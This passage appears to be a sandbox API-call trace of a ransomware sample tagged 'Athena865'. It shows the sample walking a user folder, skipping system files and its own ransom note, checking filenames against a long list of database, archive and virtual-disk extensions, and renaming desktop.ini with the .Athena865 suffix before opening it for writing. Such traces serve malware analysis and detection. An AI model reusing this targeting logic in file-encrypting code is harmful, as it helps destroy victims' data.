lpBuffer=0x532d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x532d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0050.948] CloseHandle (hObject=0xf4) returned 1 [0050.948] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0050.948] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0050.948] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Links\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbce37aa0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbce37aa0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0050.948] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.948] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0050.948] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0050.949] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbce37aa0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbce37aa0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.949] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.949] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0050.949] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0050.949] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0050.949] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0050.949] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.949] lstrcmpiW (lpString1="desktop.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0050.949] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1 [0050.949] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1 [0050.949] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1 [0050.949] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1 [0050.949] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1 [0050.949] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1 [0050.949] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1 [0050.949] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1 [0050.949] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1 [0050.949] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1 [0050.949] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1 [0050.949] lstrlenW (lpString="desktop.ini") returned 11 [0050.949] lstrcpyW (in: lpString1=0x241e8b2, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0050.949] lstrlenW (lpString="desktop.ini") returned 11 [0050.949] lstrlenW (lpString="Athena865") returned 9 [0050.949] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0050.949] lstrlenW (lpString=".dll") returned 4 [0050.949] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1 [0050.949] lstrlenW (lpString=".lnk") returned 4 [0050.949] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1 [0050.949] lstrlenW (lpString=".ini") returned 4 [0050.950] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1 [0050.950] lstrlenW (lpString=".sys") returned 4 [0050.950] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1 [0050.950] lstrlenW (lpString="desktop.ini") returned 11 [0050.950] lstrlenW (lpString="bak") returned 3 [0050.950] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0050.950] lstrlenW (lpString="ba_") returned 3 [0050.950] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0050.950] lstrlenW (lpString="dbb") returned 3 [0050.950] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0050.950] lstrlenW (lpString="vmdk") returned 4 [0050.950] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0050.950] lstrlenW (lpString="rar") returned 3 [0050.950] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0050.950] lstrlenW (lpString="zip") returned 3 [0050.950] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0050.950] lstrlenW (lpString="tgz") returned 3 [0050.950] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0050.950] lstrlenW (lpString="vbox") returned 4 [0050.950] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0050.950] lstrlenW (lpString="vdi") returned 3 [0050.950] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0050.950] lstrlenW (lpString="vhd") returned 3 [0050.950] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0050.950] lstrlenW (lpString="vhdx") returned 4 [0050.950] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0050.950] lstrlenW (lpString="avhd") returned 4 [0050.950] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0050.950] lstrlenW (lpString="db") returned 2 [0050.950] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0050.950] lstrlenW (lpString="db2") returned 3 [0050.951] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0050.951] lstrlenW (lpString="db3") returned 3 [0050.951] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0050.951] lstrlenW (lpString="dbf") returned 3 [0050.951] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0050.951] lstrlenW (lpString="mdf") returned 3 [0050.951] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0050.951] lstrlenW (lpString="mdb") returned 3 [0050.951] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0050.951] lstrlenW (lpString="sql") returned 3 [0050.951] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0050.951] lstrlenW (lpString="sqlite") returned 6 [0050.951] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1 [0050.951] lstrlenW (lpString="sqlite3") returned 7 [0050.951] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1 [0050.951] lstrlenW (lpString="sqlitedb") returned 8 [0050.951] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1 [0050.951] lstrlenW (lpString="xml") returned 3 [0050.951] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0050.951] lstrlenW (lpString="$er") returned 3 [0050.951] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0050.951] lstrlenW (lpString="4dd") returned 3 [0050.951] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0050.951] lstrlenW (lpString="4dl") returned 3 [0050.951] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0050.951] lstrlenW (lpString="^^^") returned 3 [0050.951] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0050.951] lstrlenW (lpString="abs") returned 3 [0050.951] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0050.951] lstrlenW (lpString="abx") returned 3 [0050.951] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0050.958] lstrlenW (lpString="accdb") returned 5 [0050.958] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1 [0050.958] lstrlenW (lpString="accdc") returned 5 [0050.958] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1 [0050.958] lstrlenW (lpString="accde") returned 5 [0050.958] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1 [0050.959] lstrlenW (lpString="accdr") returned 5 [0050.959] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1 [0050.959] lstrlenW (lpString="accdt") returned 5 [0050.959] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1 [0050.960] lstrlenW (lpString="accdw") returned 5 [0050.960] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1 [0050.960] lstrlenW (lpString="accft") returned 5 [0050.960] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1 [0050.960] lstrlenW (lpString="adb") returned 3 [0050.960] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0050.960] lstrlenW (lpString="adb") returned 3 [0050.960] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0050.960] lstrlenW (lpString="ade") returned 3 [0050.960] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0050.960] lstrlenW (lpString="adf") returned 3 [0050.960] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0050.960] lstrlenW (lpString="adn") returned 3 [0050.960] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0050.960] lstrlenW (lpString="adp") returned 3 [0050.960] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0050.960] lstrlenW (lpString="alf") returned 3 [0050.960] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0050.960] lstrlenW (lpString="ask") returned 3 [0050.960] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0050.960] lstrlenW (lpString="btr") returned 3 [0050.960] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0050.960] lstrlenW (lpString="cat") returned 3 [0050.960] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0050.960] lstrlenW (lpString="cdb") returned 3 [0050.960] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0050.960] lstrlenW (lpString="ckp") returned 3 [0050.960] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0050.960] lstrlenW (lpString="cma") returned 3 [0050.960] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0050.960] lstrlenW (lpString="cpd") returned 3 [0050.960] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0050.961] lstrlenW (lpString="dacpac") returned 6 [0050.961] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1 [0050.961] lstrlenW (lpString="dad") returned 3 [0050.961] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0050.961] lstrlenW (lpString="dadiagrams") returned 10 [0050.961] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1 [0050.961] lstrlenW (lpString="daschema") returned 8 [0050.961] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1 [0050.961] lstrlenW (lpString="db-journal") returned 10 [0050.961] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1 [0050.961] lstrlenW (lpString="db-shm") returned 6 [0050.961] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1 [0050.961] lstrlenW (lpString="db-wal") returned 6 [0050.961] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1 [0050.961] lstrlenW (lpString="dbc") returned 3 [0050.961] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0050.961] lstrlenW (lpString="dbs") returned 3 [0050.961] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0050.961] lstrlenW (lpString="dbt") returned 3 [0050.961] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0050.961] lstrlenW (lpString="dbv") returned 3 [0050.961] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0050.961] lstrlenW (lpString="dbx") returned 3 [0050.961] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0050.961] lstrlenW (lpString="dcb") returned 3 [0050.961] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0050.961] lstrlenW (lpString="dct") returned 3 [0050.961] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1 [0050.961] lstrlenW (lpString="dcx") returned 3 [0050.961] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1 [0050.961] lstrlenW (lpString="ddl") returned 3 [0050.961] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1 [0050.961] lstrlenW (lpString="dlis") returned 4 [0050.961] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1 [0050.962] lstrlenW (lpString="dp1") returned 3 [0050.962] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1 [0050.962] lstrlenW (lpString="dqy") returned 3 [0050.962] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1 [0050.962] lstrlenW (lpString="dsk") returned 3 [0050.962] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1 [0050.962] lstrlenW (lpString="dsn") returned 3 [0050.962] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1 [0050.962] lstrlenW (lpString="dtsx") returned 4 [0050.962] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1 [0050.962] lstrlenW (lpString="dxl") returned 3 [0050.962] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1 [0050.962] lstrlenW (lpString="eco") returned 3 [0050.962] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1 [0050.962] lstrlenW (lpString="ecx") returned 3 [0050.962] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1 [0050.962] lstrlenW (lpString="edb") returned 3 [0050.962] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1 [0050.962] lstrlenW (lpString="epim") returned 4 [0050.962] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1 [0050.962] lstrlenW (lpString="fcd") returned 3 [0050.962] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1 [0050.962] lstrlenW (lpString="fdb") returned 3 [0050.962] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1 [0050.962] lstrlenW (lpString="fic") returned 3 [0050.962] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1 [0050.962] lstrlenW (lpString="flexolibrary") returned 12 [0050.962] lstrlenW (lpString="fm5") returned 3 [0050.962] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1 [0050.962] lstrlenW (lpString="fmp") returned 3 [0050.962] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1 [0050.962] lstrlenW (lpString="fmp12") returned 5 [0050.962] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1 [0050.962] lstrlenW (lpString="fmpsl") returned 5 [0050.963] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1 [0050.963] lstrlenW (lpString="fol") returned 3 [0050.963] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1 [0050.963] lstrlenW (lpString="fp3") returned 3 [0050.963] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1 [0050.963] lstrlenW (lpString="fp4") returned 3 [0050.963] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1 [0050.963] lstrlenW (lpString="fp5") returned 3 [0050.963] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1 [0050.963] lstrlenW (lpString="fp7") returned 3 [0050.963] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1 [0050.963] lstrlenW (lpString="fpt") returned 3 [0050.963] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1 [0050.963] lstrlenW (lpString="frm") returned 3 [0050.963] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1 [0050.963] lstrlenW (lpString="gdb") returned 3 [0050.963] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0050.963] lstrlenW (lpString="gdb") returned 3 [0050.963] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0050.963] lstrlenW (lpString="grdb") returned 4 [0050.963] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1 [0050.963] lstrlenW (lpString="gwi") returned 3 [0050.963] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1 [0050.963] lstrlenW (lpString="hdb") returned 3 [0050.963] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1 [0050.963] lstrlenW (lpString="his") returned 3 [0050.963] lstrcmpiW (lpString1="ini", lpString2="his") returned 1 [0050.963] lstrlenW (lpString="ib") returned 2 [0050.963] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1 [0050.963] lstrlenW (lpString="idb") returned 3 [0050.963] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1 [0050.963] lstrlenW (lpString="ihx") returned 3 [0050.963] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1 [0050.963] lstrlenW (lpString="itdb") returned 4 [0050.964] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1 [0050.964] lstrlenW (lpString="itw") returned 3 [0050.964] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1 [0050.964] lstrlenW (lpString="jet") returned 3 [0050.964] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1 [0050.964] lstrlenW (lpString="jtx") returned 3 [0050.964] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1 [0050.964] lstrlenW (lpString="kdb") returned 3 [0050.964] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1 [0050.964] lstrlenW (lpString="kexi") returned 4 [0050.964] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1 [0050.964] lstrlenW (lpString="kexic") returned 5 [0050.964] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1 [0050.964] lstrlenW (lpString="kexis") returned 5 [0050.964] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1 [0050.964] lstrlenW (lpString="lgc") returned 3 [0050.964] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1 [0050.964] lstrlenW (lpString="lwx") returned 3 [0050.964] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1 [0050.964] lstrlenW (lpString="maf") returned 3 [0050.964] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1 [0050.964] lstrlenW (lpString="maq") returned 3 [0050.964] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1 [0050.964] lstrlenW (lpString="mar") returned 3 [0050.964] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1 [0050.964] lstrlenW (lpString="marshal") returned 7 [0050.964] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1 [0050.964] lstrlenW (lpString="mas") returned 3 [0050.964] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1 [0050.964] lstrlenW (lpString="mav") returned 3 [0050.964] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1 [0050.964] lstrlenW (lpString="maw") returned 3 [0050.964] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1 [0050.965] lstrlenW (lpString="mdbhtml") returned 7 [0050.965] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1 [0050.965] lstrlenW (lpString="mdn") returned 3 [0050.965] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1 [0050.965] lstrlenW (lpString="mdt") returned 3 [0050.965] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1 [0050.965] lstrlenW (lpString="mfd") returned 3 [0050.965] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1 [0050.965] lstrlenW (lpString="mpd") returned 3 [0050.965] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1 [0050.965] lstrlenW (lpString="mrg") returned 3 [0050.965] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1 [0050.965] lstrlenW (lpString="mud") returned 3 [0050.965] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1 [0050.965] lstrlenW (lpString="mwb") returned 3 [0050.965] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1 [0050.965] lstrlenW (lpString="myd") returned 3 [0050.965] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1 [0050.965] lstrlenW (lpString="ndf") returned 3 [0050.965] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1 [0050.965] lstrlenW (lpString="nnt") returned 3 [0050.965] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1 [0050.965] lstrlenW (lpString="nrmlib") returned 6 [0050.965] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1 [0050.965] lstrlenW (lpString="ns2") returned 3 [0050.965] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1 [0050.965] lstrlenW (lpString="ns3") returned 3 [0050.965] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1 [0050.965] lstrlenW (lpString="ns4") returned 3 [0050.965] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1 [0050.965] lstrlenW (lpString="nsf") returned 3 [0050.965] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1 [0050.965] lstrlenW (lpString="nv") returned 2 [0050.965] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1 [0050.965] lstrlenW (lpString="nv2") returned 3 [0050.966] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1 [0050.966] lstrlenW (lpString="nwdb") returned 4 [0050.966] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1 [0050.966] lstrlenW (lpString="nyf") returned 3 [0050.966] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1 [0050.966] lstrlenW (lpString="odb") returned 3 [0050.966] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0050.966] lstrlenW (lpString="odb") returned 3 [0050.966] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0050.966] lstrlenW (lpString="oqy") returned 3 [0050.966] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1 [0050.966] lstrlenW (lpString="ora") returned 3 [0050.966] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1 [0050.966] lstrlenW (lpString="orx") returned 3 [0050.966] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1 [0050.966] lstrlenW (lpString="owc") returned 3 [0050.966] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1 [0050.966] lstrlenW (lpString="p96") returned 3 [0050.966] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1 [0050.966] lstrlenW (lpString="p97") returned 3 [0050.966] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1 [0050.966] lstrlenW (lpString="pan") returned 3 [0050.966] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1 [0050.966] lstrlenW (lpString="pdb") returned 3 [0050.966] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1 [0050.966] lstrlenW (lpString="pdm") returned 3 [0050.966] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1 [0050.966] lstrlenW (lpString="pnz") returned 3 [0050.966] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1 [0050.966] lstrlenW (lpString="qry") returned 3 [0050.966] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1 [0050.966] lstrlenW (lpString="qvd") returned 3 [0050.966] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1 [0050.967] lstrlenW (lpString="rbf") returned 3 [0050.967] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1 [0050.967] lstrlenW (lpString="rctd") returned 4 [0050.967] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1 [0050.967] lstrlenW (lpString="rod") returned 3 [0050.967] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1 [0050.967] lstrlenW (lpString="rodx") returned 4 [0050.967] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1 [0050.967] lstrlenW (lpString="rpd") returned 3 [0050.967] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1 [0050.967] lstrlenW (lpString="rsd") returned 3 [0050.967] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1 [0050.967] lstrlenW (lpString="sas7bdat") returned 8 [0050.967] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1 [0050.967] lstrlenW (lpString="sbf") returned 3 [0050.967] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1 [0050.967] lstrlenW (lpString="scx") returned 3 [0050.967] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1 [0051.007] lstrlenW (lpString="sdb") returned 3 [0051.007] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1 [0051.007] lstrlenW (lpString="sdc") returned 3 [0051.007] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1 [0051.007] lstrlenW (lpString="sdf") returned 3 [0051.007] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1 [0051.007] lstrlenW (lpString="sis") returned 3 [0051.007] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1 [0051.007] lstrlenW (lpString="spq") returned 3 [0051.007] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1 [0051.007] lstrlenW (lpString="te") returned 2 [0051.007] lstrcmpiW (lpString1="ni", lpString2="te") returned -1 [0051.007] lstrlenW (lpString="teacher") returned 7 [0051.007] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1 [0051.007] lstrlenW (lpString="tmd") returned 3 [0051.007] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1 [0051.007] lstrlenW (lpString="tps") returned 3 [0051.008] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1 [0051.008] lstrlenW (lpString="trc") returned 3 [0051.008] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0051.008] lstrlenW (lpString="trc") returned 3 [0051.008] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0051.008] lstrlenW (lpString="trm") returned 3 [0051.008] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1 [0051.008] lstrlenW (lpString="udb") returned 3 [0051.008] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1 [0051.008] lstrlenW (lpString="udl") returned 3 [0051.008] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1 [0051.008] lstrlenW (lpString="usr") returned 3 [0051.008] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1 [0051.008] lstrlenW (lpString="v12") returned 3 [0051.008] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1 [0051.008] lstrlenW (lpString="vis") returned 3 [0051.008] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1 [0051.008] lstrlenW (lpString="vpd") returned 3 [0051.008] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1 [0051.008] lstrlenW (lpString="vvv") returned 3 [0051.008] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1 [0051.008] lstrlenW (lpString="wdb") returned 3 [0051.008] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1 [0051.008] lstrlenW (lpString="wmdb") returned 4 [0051.008] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1 [0051.008] lstrlenW (lpString="wrk") returned 3 [0051.008] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1 [0051.008] lstrlenW (lpString="xdb") returned 3 [0051.008] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1 [0051.008] lstrlenW (lpString="xld") returned 3 [0051.008] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1 [0051.008] lstrlenW (lpString="xmlff") returned 5 [0051.008] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1 [0051.009] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini.Athena865") returned 74 [0051.009] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\links\\desktop.ini"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\links\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0051.009] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\links\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0051.009] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=580) returned 1 [0051.010] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0051.010] RtlAllocateHeap (HeapHandle=0x4f0000, 